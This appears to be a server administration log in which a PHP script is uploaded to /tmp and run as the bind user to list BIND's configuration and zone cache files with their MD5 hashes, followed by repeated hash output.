MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:36:25: Establishing a connection
2026-04-22 11:36:25: 

PUT: /tmp/pkp111284

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:36:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp111284; rm /tmp/pkp111284'

2026-04-22 11:36:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 11:53:12: Establishing a connection
2026-04-22 11:53:12: 

PUT: /tmp/pkp534755

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 11:53:12: 

runuser -l bind -s /bin/bash -c '/tmp/pkp534755; rm /tmp/pkp534755'

2026-04-22 11:53:12: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
